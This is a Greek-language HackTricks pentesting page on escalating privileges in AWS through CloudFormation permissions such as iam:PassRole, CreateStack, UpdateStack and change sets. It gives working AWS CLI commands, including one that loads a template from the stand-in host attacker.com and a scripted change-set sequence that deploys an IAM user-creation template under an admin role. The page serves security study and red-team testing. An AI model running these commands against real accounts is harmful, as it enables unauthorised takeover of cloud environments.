AWS - Cloudformation Privesc

Μάθετε το hacking στο AWS από το μηδέν μέχρι τον επαγγελματία με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

cloudformation

Για περισσότερες πληροφορίες σχετικά με το cloudformation, ελέγξτε:

AWS - CloudFormation & Codestar Enum

iam:PassRole, cloudformation:CreateStack

Ένας επιτιθέμενος με αυτές τις άδειες μπορεί να εξαπλωθεί προνόμια δημιουργώντας ένα CloudFormation stack με ένα προσαρμοσμένο πρότυπο, φιλοξενούμενο στον δικό του διακομιστή, για να εκτελέσει ενέργειες με τις άδειες ενός συγκεκριμένου ρόλου:

aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

Στην ακόλουθη σελίδα έχετε ένα παράδειγμα εκμετάλλευσης με την επιπλέον άδεια cloudformation:DescribeStacks:

iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

Πιθανές Επιπτώσεις: Ανέβασμα δικαιωμάτων στον καθορισμένο ρόλο της υπηρεσίας cloudformation.

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

Σε αυτήν την περίπτωση μπορείτε να καταχραστείτε ένα υπάρχον cloudformation stack για να το ενημερώσετε και να αναβαθμίσετε τα δικαιώματα όπως στο προηγούμενο σενάριο:

aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

Η άδεια cloudformation:SetStackPolicy μπορεί να χρησιμοποιηθεί για να δώσετε στον εαυτό σας την άδεια UpdateStack σε ένα stack και να πραγματοποιήσετε την επίθεση.

Πιθανές Επιπτώσεις: Ανέβασμα δικαιωμάτων στον ρόλο της υπηρεσίας cloudformation που έχει καθοριστεί.

cloudformation:UpdateStack | cloudformation:SetStackPolicy

Αν έχετε αυτήν την άδεια αλλά όχι την iam:PassRole, μπορείτε ακόμα να ενημερώσετε τα stacks που χρησιμοποιούνται και να καταχραστείτε τους IAM ρόλους που έχουν ήδη συνδεθεί. Ελέγξτε την προηγούμενη ενότητα για παράδειγμα εκμετάλλευσης (απλά μην υποδείξετε κανέναν ρόλο στην ενημέρωση).

Η άδεια cloudformation:SetStackPolicy μπορεί να χρησιμοποιηθεί για να δώσετε στον εαυτό σας την άδεια UpdateStack σε ένα stack και να πραγματοποιήσετε την επίθεση.

Πιθανές Επιπτώσεις: Ανέβασμα δικαιωμάτων στον ρόλο της υπηρεσίας cloudformation που έχει ήδη συνδεθεί.

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Ένας επιτιθέμενος με δικαιώματα να περάσει έναν ρόλο και να δημιουργήσει και εκτελέσει ένα ChangeSet μπορεί να δημιουργήσει/ενημερώσει ένα νέο stack cloudformation και να καταχραστεί τους ρόλους της υπηρεσίας cloudformation όπως και με το CreateStack ή το UpdateStack.

Η παρακάτω εκμετάλλευση είναι μια παραλλαγή της CreateStack χρησιμοποιώντας τα δικαιώματα του ChangeSet για να δημιουργήσει ένα stack.

aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

Η άδεια cloudformation:SetStackPolicy μπορεί να χρησιμοποιηθεί για να δώσετε στον εαυτό σας δικαιώματα ChangeSet πάνω σε ένα stack και να πραγματοποιήσετε την επίθεση.

Πιθανές Επιπτώσεις: Ανέβασμα δικαιωμάτων σε ρόλους υπηρεσίας cloudformation.

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Αυτή είναι παρόμοια με την προηγούμενη μέθοδο χωρίς την περάτωση ρόλων IAM, οπότε μπορείτε απλά να καταχραστείτε ήδη συνδεδεμένους ρόλους, απλά τροποποιήστε την παράμετρο:

--change-set-type UPDATE

Πιθανές Επιπτώσεις: Ανέβασμα δικαιωμάτων στον ρόλο υπηρεσίας cloudformation που έχει ήδη συνδεθεί.

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

Ένας επιτιθέμενος μπορεί να καταχραστεί αυτές τις άδειες για να δημιουργήσει/ενημερώσει StackSets για να καταχραστεί αυθαίρετους ρόλους cloudformation.

Πιθανές Επιπτώσεις: Ανέβασμα δικαιωμάτων σε ρόλους υπηρεσίας cloudformation.

cloudformation:UpdateStackSet

Ένας επιτιθέμενος μπορεί να καταχραστεί αυτήν την άδεια χωρίς την άδεια passRole για να ενημερώσει StackSets και να καταχραστεί τους συνδεδεμένους ρόλους cloudformation.

Πιθανές Επιπτώσεις: Ανέβασμα δικαιωμάτων στους συνδεδεμένους ρόλους cloudformation.

Αναφορές

Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated